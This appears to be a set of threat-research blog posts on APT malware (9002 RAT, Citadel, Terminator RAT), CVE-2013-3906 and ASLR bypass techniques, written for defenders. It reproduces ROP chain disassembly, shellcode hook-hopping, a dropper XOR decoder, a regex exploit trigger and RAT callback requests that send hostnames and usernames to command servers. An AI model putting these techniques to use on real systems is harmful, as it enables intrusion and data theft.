              The report details how many seemingly unrelated cyber attacks may, in fact, be part of a broader offensive fueled by a shared development and logistics infrastructure — a finding that suggests some targets are facing a more organized menace than they realize. Our research points to centralized planning and development by one or more advanced persistent threat (APT) actors. Malware clearly remains a desired cyber weapon of choice. Streamlining development makes financial sense for attackers, so the findings may imply a bigger trend towards industrialization that achieves an economy of scale.

              Download the Malware Supply Report

              Operation Ephemeral Hydra: IE Zero-Day Linked to DeputyDog Uses Diskless Method

              Recently, we discovered a new IE zero-day exploit in the wild, which has been used in a strategic Web compromise. Specifically, the attackers inserted this zero-day exploit into a strategically important website, known to draw visitors that are likely interested in national and international security policy. We have identified relationships between the infrastructure used in this attack and that used in Operation DeputyDog. Furthermore, the attackers loaded the payload used in this attack directly into memory without first writing to disk – a technique not typically used by advanced persistent threat (APT) actors. This technique will further complicate network defenders’ ability to triage compromised systems, using traditional forensics methods.

              Enter Trojan.APT.9002

              On November 8, 2013 our colleagues Xiaobo Chen and Dan Caselden posted about a new Internet Explorer 0-day exploit seen in the wild. This exploit was seen used in a strategic Web compromise. The exploit chain was limited to one website. There were no iframes or redirects to external sites to pull down the shellcode payload.

              Through the FireEye Dynamic Threat Intelligence (DTI) cloud, we were able to retrieve the payload dropped in the attack. This payload has been identified as a variant of Trojan.APT.9002 (aka Hydraq/McRAT variant) and runs in memory only. It does not write itself to disk, leaving little to no artifacts that can be used to identify infected endpoints.

              Specifically, the payload is shellcode, which is decoded and directly injected into memory after successful exploitation via a series of steps. After an initial XOR decoding of the payload with the key "0x9F", an instance of rundll32.exe is launched and injected with the payload using CreateProcessA, OpenProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread.

              figure 1Figure 1 - Initial XOR decoding of shellcode, with key '0x9F'

              figure 2a

              figure 2bfigure 2cFigure 2 – Shellcode launches rundll32.exe and injects payload

              After transfer of control to the injected payload in rundll32.exe, the shellcode is then subjected to two more levels of XOR decoding with the keys '0x01', followed by '0x6A'.

              figure 3Figure 3- Decoding shellcode with XOR key '0x01'


              figure 4Figure 4 - Decoding shellcode with XOR key '0x6A'

              Process execution is then transferred to the final decoded payload, which is a variant of the 9002 RAT.

              figure 5Figure 5 - Transfer of process execution to final decoded payload

              The fact that the attackers used a non-persistent first stage payload suggests that they are confident in both their resources and skills. As the payload was not persistent, the attackers had to work quickly, in order to gain control of victims and move laterally within affected organizations. If the attacker did not immediately seize control of infected endpoints, they risked losing these compromised endpoints, as the endpoints could have been rebooted at any time – thus automatically wiping the in-memory Trojan.APT.9002 malware variant from the infected endpoint.

              Alternatively, the use of this non-persistent first stage may suggest that the attackers were confident that their intended targets would simply revisit the compromised website and be re-infected.

              Command and Control Protocol and Infrastructure

              This Trojan.APT.9002 variant connected to a command and control server at over port 443. It uses a non-HTTP protocol as well as an HTTP POST for communicating with the remote server. However, the callback beacons have changed in this version, in comparison to the older 9002 RATs.

              The older traditional version of 9002 RAT had a static 4-byte identifier at offset 0 in the callback network traffic. This identifier was typically the string "9002", but we have also seen variants, where this has been modified – such as the 9002 variant documented in the Sunshop campaign.

              figure 6Figure 6 - Traditional 9002 RAT callback beacon

              In contrast, the beacon from the diskless 9002 payload used in the current IE 0-day attack is remarkably different and uses a dynamic 4-byte XOR key to encrypt the data. This 4-byte key is present at offset 0 and changes with each subsequent beacon. FireEye labs is aware that the 4-byte XOR version of 9002 has been in the wild for a while and is used by multiple APT actors, but this is the first time we’ve seen it deployed in the diskless payload method.

              figure 7Figure 7 - Sample callback beacons of the diskless 9002 RAT payload


              figure 8Figure 8 - XOR decrypted callback beacons of the diskless 9002 RAT payload

              The XOR decoded data always contains the static value "\x09\x12\x11\x20" at offset 16. This value is in fact hardcoded in packet data construction function prior to XOR encoding. This value most likely is the date "2011-12-09" but its significance is not known at this time.

              figure 9

              Figure 9 - Packet data construction function showing hardcoded value

              The diskless 9002 RAT payload also makes a POST request, which has also changed from the traditional version. It has Base64 stub data, instead of the static string "AA". The User-Agent string and URI pattern remain the same however. It uses the static string "lynx" in the User-Agent string and the URI is incremental hexadecimal values.

              Traditional 9002 RAT Diskless 9002 RAT
              POST /4 HTTP/1.1
              User-Agent: lynx
              Content-Length: 2
              Connection: Keep-Alive
              Cache-Control: no-cache

              POST /4 HTTP/1.1
              User-Agent: lynx
              Content-Length: 2
              Connection: Keep-Alive
              Cache-Control: no-cache

              POST /2 HTTP/1.1
              User-Agent: lynx
              Content-Length: 104
              Connection: Keep-Alive
              Cache-Control: no-cache

              POST /2 HTTP/1.1
              User-Agent: lynx
              Content-Length: 104
              Connection: Keep-Alive
              Cache-Control: no-cache


              The data in the POST stub is also encrypted with a 4-byte XOR key, and when decrypted, the data is similar to the data in the non-HTTP beacon and also has the static value "\x09\x12\x11\x20".

              Campaign Analysis

              We previously observed 104130d666ab3f640255140007f0b12d connecting to the same IP address.

              Analysis of MD5 104130d666ab3f640255140007f0b12d revealed that it shared unique identifying characteristics with 90a37e54c53ffb78969644b1a7038e8c, acbc249061a6a2fb09271a68d53567d9, and 20854f54b0d03118681410245be39bd8.

              MD5 acbc249061a6a2fb09271a68d53567d9 and 90a37e54c53ffb78969644b1a7038e8c are both Trojan.APT.9002 variants and connect to a command and control server at

              MD5 20854f54b0d03118681410245be39bd8 is another Trojan.APT.9002 variant. This variant connected to a command and control server at

              Passive DNS analysis of this domain revealed that it resolved to between 2011-09-23 and 2011-10-21. The following other domains have also been seen resolving to this same IP address:

              Domain First Seen Last Seen
     2011-12-08 2011-12-08 2012-01-31 2012-01-31
     2011-12-23 2011-12-23 2012-01-10 2012-01-10
     2012-02-20 2012-02-20 2012-02-22 2012-02-22
     2011-12-01 2011-12-01 2012-02-22 2012-02-22

              If the domain rings a bell, it should. While covering a different Internet Explorer Zero-day (CVE-2013-3893) and the associated Operation DeputyDog campaign, we reported that the CnC infrastructure used in that campaign overlapped with this same domain:

              Inside the in-memory version of the Trojan.APT.9002 payload used in this strategic Web compromise, we identified the following interesting string: “rat_UnInstall”. Through DTI, we found this same string present in a number of different samples including the ones discussed above:





              Based on this analysis, all of these samples, including the in-memory variant, can be detected with the following simple YARA signature:

              rule FE_APT_9002_rat



                      author = "FireEye Labs"


                      $mz = {4d 5a}

                      $a = "rat_UnInstall" wide ascii


                      ($mz at 0) and $a


              We also found the following strings of interest present in these above 9002 RAT samples (excluding the in-memory variant):



              These strings were all observed and highlighted by Bit9 here. As Bit9 notes in their blog, Trojan.APT.9002 (aka Hydraq/McRAT) was also used in the original Operation Aurora campaign, and the “rat_UnInstall” string can be found in the original Aurora samples confirming the lineage.


              By utilizing strategic Web compromises along with in-memory payload delivery tactics and multiple nested methods of obfuscation, this campaign has proven to be exceptionally accomplished and elusive. APT actors are clearly learning and employing new tactics. With uncanny timing and a penchant for consistently employing Zero-day exploits in targeted attacks, we expect APT threat actors to continue to evolve and launch new campaigns for the foreseeable future. Not surprisingly, these old dogs continue to learn new tricks.

              FireEye Labs would like to thank iSIGHT Partners for their assistance with this research.

              The Dual Use Exploit: CVE-2013-3906 Used in Both Targeted Attacks and Crimeware Campaigns

              A zero-day vulnerability was recently discovered that exploits a Microsoft graphics component using malicious Word documents as the initial infection vector. Microsoft has confirmed that this exploit has been used in “attacks observed are very limited and carefully carried out against selected computers, largely in the Middle East and South Asia.”

              Our analysis has revealed a connection between these attacks and those previously documented in Operation Hangover, which adds India and Pakistan into the mix of targets. Information obtained from a command-and-control server (CnC) used in recent attacks leveraging this zero-day exploit revealed that the Hangover group, believed to operate from India, has compromised 78 computers, 47 percent of those in Pakistan.

              However, we have found that another group also has access to this exploit and is using it to deliver the Citadel Trojan malware. This group, which we call the Arx group, may have had access to the exploit before the Hangover group did. Information obtained from CnCs operated by the Arx group revealed that 619 targets (4024 unique IP addresses) have been compromised. The majority of the targets are in India (63 percent) and Pakistan (19 percent).

              Exploit Analysis

              The CVE-2013-3906 vulnerability is a heap overflow that occurs when processing TIFF image files with user-controlled allocation and copy size. A function pointer is overwritten and later called to execute code. Exploiting this vulnerability requires the attacker to be able to control the memory layout — which the Hangover and Arx groups did by using a new ActiveX heap-spray technique.

              Different ActiveX Heap-spray Method

              Judging from samples in the wild that we analyzed, both groups sprayed the heap using the new ActiveX method, but did so slightly differently. The Arx group used a slightly more clever approach to spray the same amount of memory using fewer objects in their exploit document.

              Different ROP Payload

              The Hangover group’s exploit mainly targets Windows XP because Microsoft Office offers NO Data Execution Prevention (DEP) protection by default, and the exploit doesn’t use return-oriented programming (ROP).

              The Arx group, by contrast, uses ROP gadgets from the MSCOMCTL.DLL. In our tests, the ROP payload works for DLL version

              Decoded below are the various ROP chains used in the Arx group’s exploits:

              Stack pivot:

              275b4f3f 94 xchg eax,esp

              275b4f40 0100 add dword ptr [eax],eax

              275b4f42 5e pop esi

              275b4f43 5d pop ebp

              275b4f44 c21c00 ret 1Ch

              Pop VirtualAlloc IAT from the new stack:

              2761bdea 58 pop eax

              2761bdeb c3 ret

              Calling virtualAlloc to allocate RWX memory at 0x20000000:

              275a58fe ff20 jmp dword ptr [eax] ds:0023:275811c8={kernel32!VirtualAlloc (7c809af1)}

              Pop the length of the shell code:

              27594a33 59 pop ecx

              27594a34 c3 ret

              Pop destination or source location for a memory copy:

              2759a93f 5f pop edi

              2759a940 5e pop esi

              2759a941 c3 ret

              Copy the shell code to 0x20000000:

              275ceb04 f3a4 rep movs byte ptr es:[edi],byte ptr [esi]

              275ceb06 33c0 xor eax,eax

              275ceb08 eb24 jmp MSCOMCTL!DllGetClassObject+0x3860 (275ceb2e)

              After the copy, it returns to 0x20000000 to execute the shell code:

              275ceb2f 5f pop edi

              275ceb2f 5e pop esi

              275ceb30 5b pop ebx

              275ceb31 5d pop ebp

              275ceb32 c3 ret

              Different Shellcode

              The Hangover group is using the URL Download shell code, but with a hook-hopping technique:


              ;; Check if target has been hooked with an absolute call instruction

              001C205F cmp byte ptr [eax],0xE8

              001C2062 jz 001C2073

              ;; Check if target has been hooked with an absolute jump instruction

              001C2064 cmp byte ptr [eax],0xE9

              001C2067 jz 001C2073

              ;; Check if target has been hooked with a software breakpoint

              001C2069 cmp byte ptr [eax],0xCC

              001C206C jz 001C2073

              001C206E cmp byte ptr [eax],0xEB

              001C2071 jnz 001C2084

              001C2073 cmp dword ptr [eax+0x5],0x90909090

              001C207A jz 001C2084

              001C207C mov edi,edi

              001C207E push ebp

              001C207F mov ebp,esp

              001C2081 lea eax,[eax+0x5]

              001C2084 jmp eax

              The hook-hopping technique was enabled for all API calls in this shell code, such as LoadlibraryA, GetTempPathA, URLDownloadToFileA, ShellExecuteA, and ExitProcess.

              The Arx group’s shell code uses the NTAccessCheckAndAuditAlarm system call to search memory for the dropper, then calls loadLibrary to load the dropper.  NTAccessCheckAndAuditAlarm is one safe way to search memory to avoid access violations when accessing unmapped memory addresses. Upon finding the right memory location, the dropper XOR method is different, which is not easy to decode with brute force.

              B5 00 9B B1 B5 00 9B B1 3A 9E 00 BA 04 00 77 82

              The first two DWORDs are the signature used to locate the binary by the NTAccessCheckAndAuditAlarm system call.

              0x3A is the first XOR key and 0x9E is the second XOR key. 0x0004BA00 is the dropper file’s length.

              The XOR algorithm is described below. The algorithm takes two keys. The first key is XORed against the ciphertext, and the second key is added to the first key, after each XOR operation:

              def xor(a, key, key2):

              x = bytearray(a)

              for i in range(len(x)):

              x[i] ^= key&0xff

              key += key2

              return x

              The Hangover Group

              As previously documented, “Operation Hangover” was a multi-year series of coordinated campaigns targeting systems around the world with a primary focus on organizations in Pakistan. “Operation Hangover” was uncovered, after the attackers responsible for this campaign targeted Telenor, a major Norwegian telecommunications provider. The Hangover group is believed to have been operating as early as 2009.

              Cluster and Protocol Analysis

              The related samples were uploaded to VirusTotal between 2013-10-23 and 2013-10-31. This provides an indication of when CVE-2013-3906 was first used by the Hangover group. The EXIF data contained within the malicious Word documents used by the group, which is likely an artifact of the builder, contain these dates:

              • CreateDate: 2013:10:03 22:46:00Z
              • ModifyDate: 2013:10:03 23:17:00Z

              As such, it appears that the Hangover group acquired the exploit in October 2013. Elements of the CnC infrastructure were already place, suggesting that Hangover was using it before acquiring this zero-day exploit.


              All but one of the samples can be linked through “” — the website from which malware files are downloaded after initial exploitation. As for the exception, we believe that this cluster is probably related because the EXIF data in the malicious Word document aligns with the other Hangover samples.

              The malware files that are downloaded after exploitation have three different callbacks. The first, which is the “classic” Hangover HTTP callback, follows this format:

              GET /logitech/rt.php?cn=[HOSTNAME]@[USERNAME]&str=&file=no HTTP/1.1

              User-Agent: WinInetGet/0.1


              Connection: Keep-Alive

              Cache-Control: no-cache

              The second type of callback looks like this:

              GET /NewsApp/rssfeed.php?a=[TEXT]&134416 HTTP/1.1

              Accept: */*

              Accept-Encoding: gzip, deflate

              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


              Connection: Keep-Alive

              The third type of callback is:

              GET /amd/psp.php?p=1&g=[TEXT]&v=RE[]&s=MicrosoftWindowsXPProfessional-32&t=[HOSTNAME]-[USERNAME]&r=[0]&X9S8T3 HTTP/1.1

              Accept: */*

              Accept-Encoding: gzip, deflate

              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; InfoPath.2)


              Connection: Keep-Alive

              CnC Analysis

              For each compromised system that checked-in to the CnC server, a directory was created on the server in the format of “<machine name>@<username>.” Within each directory, three files are created: Info.txt, Result.txt, and index.html.  The index.html was a simple html file listing the directory contents on the server.  Info.txt detailed the target's machine name, username, IP address, and the antivirus product installed, if any:

              Info.txt Output

              User : machinename@username

              IP :  <target IP address>

              AV : <Antivirus product installed on target machine>

              It appears that when the target systems successfully checked in to the CnC server, the server could push down an executable file to be executed on the targeted system. The result of that action was recorded in Result.txt.

              Result.txt Output

              Result : svchost.exe======failed

              Result : svchoste.exe======sucessfully

              Result : taskngr.exe======sucessfully

              Result : lgfxsrvc.exe======successfully

              (Note: “successfully” was spelled properly in the last entry, but not in the preceding entries.)

              We obtained a number of these second-stage executables listed in the Result.txt output from a Hangover-linked CnC server.  These executables included a variety of tools including a reverse shell backdoor, a keylogger, a screenshot grabber, and a document exfiltration tool.

              The domains and IP addresses associated with these second stage tools are:


              These second-stage tools are discussed in more detail in here.

              Target Analysis

              The data we obtained from one of the Hangover CnC servers reveals 78 targets (based on unique IP addresses). But to be clear: this list likely includes a variety of researchers who were investigating the malware.  A total of 47 percent of the IP addresses were in ranges assigned to Pakistan. This is consistent with the known targeting preferences of the Hangover group.


              The Arx Group

              During our investigation, we found another set of samples that were also exploiting this same zero-day vulnerability. These samples drop the Citadel Trojan. Citadel is a variant of the Zeus Trojan that emerged in 2012 after the Zeus source code was leaked. Citadel is designed to allow cybercriminals to steal banking information and account credentials.

              Malware Analysis

              Malware linked to the Arx group is usually sent out in “SWIFT Payment” emails. These emails are common in spam campaigns and typically drop banking Trojans and other crimeware.


              After opening the file, a decoy document is shown to the user. (In this example, the attackers made a mistake and confused the dropped executable with the decoy document.)


              Upon further analysis, we found that the malware payload within these samples is the Citadel Trojan.  The samples were uploaded to VirusTotal between 2013-09-26 and 2013-10-31, which provides an indication of when this group obtained the zero-day exploit. The EXIF data contained within the malicious Word documents, which is likely an artifact of the builder, contain the following dates:

              • CreateDate : 2013:03:22 19:59:00Z
              • ModifyDate : 2013:03:22 20:02:00Z

              Other decoy documents used by the Arx group:


              Possible testing:

              The  CnC infrastructure for these Citadel samples cluster into three groups, but they employ common decoy documents (the document opened after exploitation).


              Next, we focused on the cluster of CnC servers registered by “”. This email address has also been used on underground forums by someone interested in purchasing compromised SMTP servers.


              The individual using this email address may also use the alias “cutedguy247.”


              Target Analysis

              Based on information we retrieved from two CnC servers, the Citadel botnet operated by “” has 619 targets (based on the unique ID assigned by the malware) that checked in with 4024 IP addresses. The compromised systems begin calling back to the first CnC server on October 3rd, 2013, while the earliest callback to the second CnC server is Oct. 4, 2013. Using the geolocation of the IP addresses, we observed that the majority of the targets are located in India (63 percent ) and Pakistan (19 percent).




              The use of this zero-day exploit (CVE-2013-3906) is more widespread that previously believed. Two different groups are using this exploit: Hangover and Arx. Hangover has been previously connected with a targeted malware campaign, and the Arx group is operating a Citadel-based botnet for organized crime.

              Based on this analysis, the Arx group appears to have had access to this zero-day exploit before the Hangover group.

              Although we have not been able to connect the activities of the Hangover and Arx groups, they share one interesting feature: an India-Pakistan nexus.

              Evasive Tactics: Terminator RAT

              FireEye Labs has been tracking a variety of advanced persistent threat (APT) actors that have been slightly changing their tools, techniques, and procedures (TTPs) in order to evade network defenses. Earlier, we documented changes to Taidoor, a malware family that is being used in ongoing cyber-espionage campaigns particularly against entities in Taiwan. In this post we will explore changes made to Terminator RAT (Remote Access Tool) by examining a recent attack against entities in Taiwan.

              We recently analyzed a sample that we suspect was sent via spear-phishing emails to targets in Taiwan. As shown in Figure 1, the adversary sends a malicious Word document, “103.doc” (md5: a130b2e578d82409021b3c9ceda657b7), that exploits CVE-2012-0158, which subsequently drops a malware installer named “DW20.exe”. This particular malware is interesting because of the following:

              • It evades sandbox by terminating and removing itself (DW20.exe) after installing. Malicious behavior will only appear after reboot.
              • It deters single-object based sandbox by segregation of roles between collaborating malwares. The RAT (svchost_.exe) will collaborate with its relay (sss.exe) to communicate with the command and control server.
              • It deters forensics investigation by changing the startup location.
              • It deters file-based scanning that implements a maximum file size filter, by expanding the size of svchost_.exe to 40MB.

              The ultimate payload of the attack is Terminator RAT, which is also known as FakeM RAT. This RAT does not appear to be exclusively used by a single APT actor, but is most likely being used in a variety (of possibly otherwise unrelated) campaigns. In the past, this RAT has been used against Tibetan and Uyghur activists, and we are seeing an increasing number of attacks targeting Taiwan as well.

              However, these attacks use some evasive tactics that demonstrate the evolution of Terminator RAT. First, the attackers have included a component that relays traffic between the malware and a proxy server. Second, they have modified the 32-byte magic header that in previous versions attempted to disguise itself to look like either MSN Messenger, Yahoo! Messenger, or HTML code.

              These modifications appear to be an attempt to evade network defenses, perhaps in response to defender’s increasing knowledge of the indicators of compromise associated with this malware. We will discuss the individual components of this attack in more detail.

              [caption id="attachment_3596" align="alignnone" width="585"]Figure 1 Figure 1[/caption]


              1.   DW20.exe (MD5: 7B18E1F0CE0CB7EEA990859EF6DB810C)


              DW20.exe was found to be the installation executable file. It will first create its working folders located at “%UserProfile%\Microsoft” and “%AppData%\2019”. The former is used to store the configurations and executable files (svchost_.exe and sss.exe) and the latter is used to store the shortcut link files. This folder “2019” was then configured to be the new start up folder location by changing the registry “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup" with the location of its path (see Figure 2).

              [caption id="attachment_3597" align="alignnone" width="575"]Figure 2 Figure 2[/caption]

              The executable file “sss.exe” was found to be the decrypted form of the resource named 140 with type “ACCELORATOR” (likely misspelling of Accelerator - see Figure 3). This resource was decrypted using customized XTEA algorithm and appended with an encrypted configuration for the domains and ports.

              [caption id="attachment_3598" align="alignnone" width="307"]Figure 3 Figure 3[/caption]

              After installation, DW20.exe deletes and terminates itself. The malwares will only run after reboot. This is one effective way to evade sandbox automatic analysis, as malicious activity will only reveal after a reboot.


              2.   sss.exe (MD5: 93F51B957DA86BDE1B82934E73B10D9D)


              sss.exe is an interesting malware component. As a researcher would analyze it independently, it is not considered a malicious program. This component plays the role as a network relay between the malware and the proxy server, by listening over port 8000. To achieve this, it first tries to identify the list of proxy servers that are used within the system using “WinHttpGetIEProxyConfigForCurrentUser”, and the discovered proxy servers and related ports are stored in the same directory in a file named “PROXY” (see Figure 4).

              [caption id="attachment_3599" align="alignnone" width="425"]Figure 4 Figure 4[/caption]

              When there is a new incoming TCP connection over port 8000, it will attempt to create a local to proxy socket connection. With that, it will check connectivity with the CnC server. If the response is 200, it will then start to create a “relay link” between the malware and the CnC server (see Figure 5). The “relay link” was created using two threads, where one thread will transfer data from socket 1 to socket 2 (see Figure 6) and the other will do vice versa.

              [caption id="attachment_3600" align="alignnone" width="654"]Figure 5 Figure 5[/caption]


              [caption id="attachment_3601" align="alignnone" width="497"]Figure 6 Figure 6[/caption]

              As depicted in Figure 7, the user agent is hard coded. It is a possible means to identify potentially malicious traffic, as Internet Explorer 6 is significantly outdated and “MSIE” is not a valid version token.


              Figure 7
              Figure 7


              The configurations for the malicious domains and ports to use are located at the last 188 bytes of the executable file (see Figure 8). The first 16 bytes is the key (boxed in red) to decrypt the remaining content using modified XTEA algorithm (see Figure 9). The two malicious domains found were “” and “”

              [caption id="attachment_3603" align="alignnone" width="645"]Figure 8 Figure 8[/caption]

              [caption id="attachment_3604" align="alignnone" width="639"]Figure 9 Figure 9[/caption]


              3.   Network Traffic


              The Terminator sample we analyzed, “103.doc” (md5: a130b2e578d82409021b3c9ceda657b7) was not configured with fake HTML, Yahoo Messenger, or Windows Messenger traffic header as it had in past variants. However, the content is encrypted in exactly the same way as previous versions of Terminator RAT.

              [caption id="attachment_3605" align="alignnone" width="648"]Figure 10 Figure 10[/caption]

              The decrypted content reveals that the malware is sending back the user name, the computer name and a campaign mark of “zjz1020”.

              [caption id="attachment_3606" align="alignnone" width="683"]Figure 11 Figure 11[/caption]

              This particular sample is configured to one of two command and control servers:



              • /
              • /

              We have located another malicious document that has a Taiwan-related decoy document that drops this same version of Terminator RAT.

              [caption id="attachment_3607" align="alignnone" width="583"]Figure 12 Figure 12[/caption]

              The sample we analyzed (md5: 50d5e73ff8a0693ed2ee2d320af3b304) exploits CVE-2012-0158 and has the following command and control server:

              •  /

              The command and control servers for both samples resolved to IP addresses in the same class C network.


              4.   Campaign Connections


              In June 2013, we investigated an attack against entities in Taiwan that used spear-phishing emails to deliver a malicious attachment.

              [caption id="attachment_3608" align="alignnone" width="455"]Figure 13 Figure 13[/caption]

              The malicious attachment "標案資料.doc" (md5: bfc96694731f3cf39bcad6e0716c5746) exploited a vulnerability in Microsoft Office (CVE-2012-0158), however, the payload in this case was a different malware family known as WinData. The malware connected to the same command and control server,, but the callback is quite different:

              XYZ /WinData.DLL?HELO-STX-1*1[IP Address]*[Computer Name]*0605[MAC:[Mac Address]]$

              In a separate case where has been used as the command and control server, the payload was neither WinData nor Terminator RAT, but another type of malware known as Protux. The sample we analyzed in August 2012 for this case was “幹!.doc” (md5: 01da7213940a74c292d09ebe17f1bd01).

              This particular threat actor has access to a variety of malware families and has been using them to target entities in Taiwan for more than a year.




              Terminator RAT is an example of how malware are increasingly becoming more sophisticated and harder to detect. There is a need for continual research to understand various techniques, tactics, and procedures used by the adversaries. Detection of exploitation and identification of anomalous callbacks are becoming extremely critical in preventing the malware from installing into the system or phoning back to the command control servers.


              Update: Ad Vulna Continues

              This is an update to our earlier blog “Ad Vulna: A Vulnaggressive (Vulnerable & Aggressive) Adware Threatening Millions”.

              Since our last notification to Google and Ad Vulna (code name for anonymity), we have noticed a number of changes to the impacted apps that we reported to both companies. We summarize our observations below, although we do not have specific information about the reasons that caused these changes we are reporting.

              First, a number of these vulnaggressive apps and their developers’ accounts have been removed from Google Play, such as app developer "Itch Mania". The total number of downloads of these apps was more than 6 million before the removal. While removing these apps from Google Play prevents more people from being affected, the millions of devices that already downloaded them remain vulnerable.

              Second, a number of apps from the list that we reported to Google and Ad Vulna have updated the ad library included in the app to the newest version which fixes many of the security issues we found. Moreover, a number of other apps, such as “Mr. Number Blocker” with more than 5 million downloads, have simply removed Ad Vulna. The total number of downloads of these apps before they were updated was more than 26 million. Unfortunately, many users do not update their downloaded apps often and older versions of android does not auto-update apps, so millions of users of these apps will remain vulnerable until they update to the latest version of the apps.

              From our current analysis, there are still many other apps using the vulnaggressive versions of the ad library Ad Vulna on Google Play, with more than 166 million downloads in total. FireEye recently announced FireEye Mobile Threat Prevention. It is uniquely capable of protecting its customers from such threats.

              We are glad to see that security researchers, practitioners, and users worldwide are becoming more aware of the security risks brought by this new class of vulnaggressive threats after our last blog.

              ASLR Bypass Apocalypse in Recent Zero-Day Exploits

              ASLR (Address Space Layout Randomization) is one of the most effective protection mechanisms in modern operation systems. But it’s not perfect. Many recent APT attacks have used innovative techniques to bypass ASLR.

              Here are just a few interesting bypass techniques that we have tracked in the past year:

              • Using non-ASLR modules
              • Modifying the BSTR length/null terminator
              • Modifying the Array object

              The following sections explain each of these techniques in detail.

              Non-ASLR modules

              Loading a non-ASLR module is the easiest and most popular way to defeat ASLR protection. Two popular non-ASLR modules are used in IE zero-day exploits: MSVCR71.DLL and HXDS.DLL.

              MSVCR71.DLL, JRE 1.6.x is shipped an old version of the Microsoft Visual C Runtime Library that was not compiled with the /DYNAMICBASE option. By default, this DLL is loaded into the IE process at a fixed location in the following OS and IE combinations:

              • Windows 7 and Internet Explorer 8
              • Windows 7 and Internet Explorer 9

              HXDS.DLL, shipped from MS Office 2010/2007, is not compiled with ASLR. This technique was first described in here, and is now the most frequently used ASLR bypass for IE 8/9 on Windows 7. This DLL is loaded when the browser loads a page with ‘ms-help://’ in the URL.

              The following zero-day exploits used at least one of these techniques to bypass ASLR: CVE-2013-3893, CVE2013-1347, CVE-2012-4969, CVE-2012-4792.


              The non-ASLR module technique requires IE 8 and IE 9 to run with old software such as JRE 1.6 or Office 2007/2010. Upgrading to the latest versions of Java/Office can prevent this type of attack.

              Modify the BSTR length/null terminator

              This technique first appears in the 2010 Pwn2Own IE 8 exploit by Peter Vreugdenhil. It applies only to specific types of vulnerabilities that can overwrite memory, such as buffer overflow, arbitrary memory write, and increasing or decreasing the content of a memory pointer.

              The arbitrary memory write does not directly control EIP. Most of the time, the exploit overwrites important program data such as function pointers to execute code. For attackers, the good thing about these types of vulnerabilities is that they can corrupt the length of a BSTR so that using the BSTR can access memory outside of its original boundaries. Such accesses may disclose memory addresses that can be used to pinpoint libraries suitable for ROP. Once the exploit has bypassed ASLR in this way, it can then use the same memory corruption bug to control EIP.

              Few vulnerabilities can be used to modify the BSTR length. For example, some vulnerabilities can only increase/decrease memory pointers by one or two bytes. In this case, the attacker can modify the null terminator of a BSTR to concatenate the string with the next object. Subsequent accesses to the modified BSTR have the concatenated object’s content as part of BSTR, where attackers can usually find information related to DLL base addresses.


              The Adobe XFA zero-day exploit uses this technique to find the AcroForm.api base address and builds a ROP chain dynamically to bypass ASLR and DEP. With this vulnerability, the exploit can decrease a controllable memory pointer before calling the function pointer from its vftable:


              Consider the following memory layout before the DEC operation:

              [string][null][non-null data][object]

              After the DEC operation (in my tests, it is decreased twice) the memory becomes:

              [string][\xfe][non-null data][object]

              For further details, refer to the technique write-up from the immunityinc’s blog.


              This technique usually requires multiple writes to leak the necessary info, and the exploit writer has to carefully craft the heap layout to ensure that the length field is corrupted instead of other objects in memory. Since IE 9, Microsoft has used Nozzle to prevent heap spraying/fengshui, so sometimes the attacker must use the VBArray technique to craft the heap layout.

              Modify the Array object

              The array object length modification is similar to the BSTR length modification: they both require a certain class of “user-friendly” vulnerabilities. Even batter, from the attacker’s view, is that once the length changes, the attacker can also arbitrarily read from or write to memory — or basically take control of the whole process flow and achieve code execution.

              Here is the list of known zero-day exploits using this technique:


              This exploit involves Adobe Flash player regex handling buffer overflow. The attacker overwrites the length of a Vector.<Number> object, and then reads more memory content to get base address of flash.ocx.

              Here’s how the exploit works:

              1. Set up a continuous memory layout by allocating the following objects":13
              2. Free the <Number> object at index 1 of the above objects as follows:

                obj[1] = null;
              3. Allocate the new RegExp object. This allocation reuses memory in the obj[1] position as follows:

                boom = "(?i)()()(?-i)||||||||||||||||||||||||";
                var trigger = new RegExp(boom, "");

              Later, the malformed expression overwrites the length of a Vector.<Number> object in obj[2] to enlarge it. With a corrupted size, the attacker can use obj[2] to read from or write to memory in a huge region to locate the flash.ocx base address and overwrite a vftable to execute the payload.


              This vulnerability involves a IE CBlockContainerBlock object use-after-free error. This exploit is similar to CVE-2013-0634, but more sophisticated.

              Basically, this vulnerability modifies the arbitrary memory content using an OR instruction. This instruction is something like the following:

              or dword ptr [esi+8],20000h

              Here’s how it works:

              1. First, the attacker sprays the target heap memory with Vector.<uint> objects as follows:.12
              2. After the spray, those objects are stored aligned in a stable memory address. For example:1

                The first dword, 0x03f0, is the length of the Vector.<uint> object, and the yellow marked values correspond to the values in above spray code.

              3. If the attacker sets the esi + 8 point to 0x03f0, the size becomes 0x0203f0 after the OR operation — which is much larger than the original size.
              4. With the larger access range, the attacker can change the next object length to 0x3FFFFFF0.14
              5. From there, the attacker can access the whole memory space in the IE process. ASLR is useless because the attacker can retrieve the entire DLL images for kernel32/NTDLL directly from memory. By dynamically searching for stack pivot gadgets in the text section and locating the ZwProtectVirtualMemory native API address from the IAT, the attacker can construct a ROP chain to change the memory attribute and bypass the DEP as follows:9

              By crafting the memory layout, the attacker also allocates a Vector.<object> that contains the flash.Media.Sound() object. The attacker uses the corrupted Vector.<uint> object to search the sound object in memory and overwrite it’s vftable to point to ROP payload and shellcode.


              The use-after-free vulnerability in Firefox’s DocumentViewerImpl object allows the user to write a word value 0x0001 into an arbitrary memory location as follows:


              In above code, all the variables that start with “m” are read from the user-controlled object. If the user can set the object to meet the condition in the second “if” statement, it forces the code path into the setImageAnimationMode() call, where the memory write is triggered. Inside the setImageAnimationMode(), the code looks like the following:


              In this exploit, the attacker tries to use ArrayBuffer to craft the heap layout. In the following code, each ArrayBuffer element for var2 has the original size 0xff004.


              After triggering the vulnerability, the attacker increases the size of the array to to 0x010ff004. The attacker can also locate this ArrayBuffer by comparing the byteLength in JavaScript. Then, the attacker can read to or write from memory with the corrupted ArrayBuffer. In this case, the attacker choose to disclosure the NTDLL base address from SharedUserData (0x7ffe0300), and manually hardcoded the offset to construct the ROP payload.


